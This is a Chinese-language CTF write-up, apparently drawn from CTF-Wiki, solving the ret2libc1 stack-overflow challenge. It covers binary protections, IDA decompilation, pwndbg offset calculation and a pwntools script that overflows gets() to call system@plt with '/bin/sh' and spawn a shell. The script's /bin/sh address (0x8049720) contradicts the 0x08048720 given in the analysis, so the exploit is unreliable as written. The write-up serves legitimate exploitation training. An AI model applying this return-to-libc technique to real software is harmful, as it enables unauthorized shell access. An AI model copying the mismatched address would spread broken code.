题目来源
下载位置: https://raw.githubusercontent.com/ctf-wiki/ctf-challenges/master/pwn/stackoverflow/ret2libc/ret2libc1/ret2libc1
PS:内容来自于CTF-WIKI
分析
文件类型
┌──(kali㉿kali)-[~/Desktop/pwn]
└─$ file ret2libc1
ret2libc1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=fb89c86b266de4ff294489da59959a62f7aa1e61, with debug_info, not stripped
这是一个采用动态连接库编译的32位ELF文件
软件防护
checksec --file=ret2libc1
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 84 Symbols No 0 1 ret2libc1
允许栈溢出,NX防护开启,PIE防护关闭。
IDA分析
在main函数中内容如下
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[100]; // [esp+1Ch] [ebp-64h] BYREF
setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("RET2LIBC >_<");
gets(s);
return 0;
}
在main中明显的gets
函数,直接可以栈溢出,之后其他没有可用信息了。
在secure函数中内容如下
void secure()
{
unsigned int v0; // eax
int input; // [esp+18h] [ebp-10h] BYREF
int secretcode; // [esp+1Ch] [ebp-Ch]
v0 = time(0);
srand(v0);
secretcode = rand();
__isoc99_scanf("%d", &input);
if ( input == secretcode )
system("shell!?");
}
有后门,但是system()
函数传参不对不能直接拿这个地址直接用。
在IDA中查询找字符串/bin/sh
在rodata中地址是0x08048720
在plt表中查询到system()
函数的地址是0x08048460
。
.plt:08048460 ; [00000006 BYTES: COLLAPSED FUNCTION _system]
攻击
攻击思路
采用system的plt地址来运行system()
函数,通过程序内的字符串/bin/sh
给函数进行传参。
栈溢出位数
使用pwndbg调试,内容如下
───────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────
*EAX 0xffffcf3c ◂— 'hello'
EBX 0xf7e23e34 (_GLOBAL_OFFSET_TABLE_) ◂— 0x223d2c /* ',="' */
*ECX 0xf7e258ac (_IO_stdfile_0_lock) ◂— 0
EDX 0
EDI 0xf7ffcb80 (_rtld_global_ro) ◂— 0
ESI 0x8048690 (__libc_csu_init) ◂— push ebp
EBP 0xffffcfa8 ◂— 0
ESP 0xffffcf20 —▸ 0xffffcf3c ◂— 'hello'
*EIP 0x8048683 (main+107) ◂— mov eax, 0
这里溢出位数应该是0xa8-0x3c=108,溢出位数应该还要+4,+4才是真正返回地址的位置。
脚本
from pwn import *
# 利用地址
system_plt = 0x8048460
binsh = 0x8049720
io = process("./ret2libc1")
payload = flat([b"a" * 112, system_plt, b"b" * 4, binsh])
io.sendline(payload)
io.interactive()
在脚本中plt地址后门还要再多溢出4字节,因为函数拿参数的时候都是他的上上个位置,上一个位置也就是这后面填充的4字节,他一般都是返回地址的位置,因为这里只需要执行system()
所以不需要考虑这个返回地址的内容,填充垃圾数据即可。
1 条评论
博主真是太厉害了!!!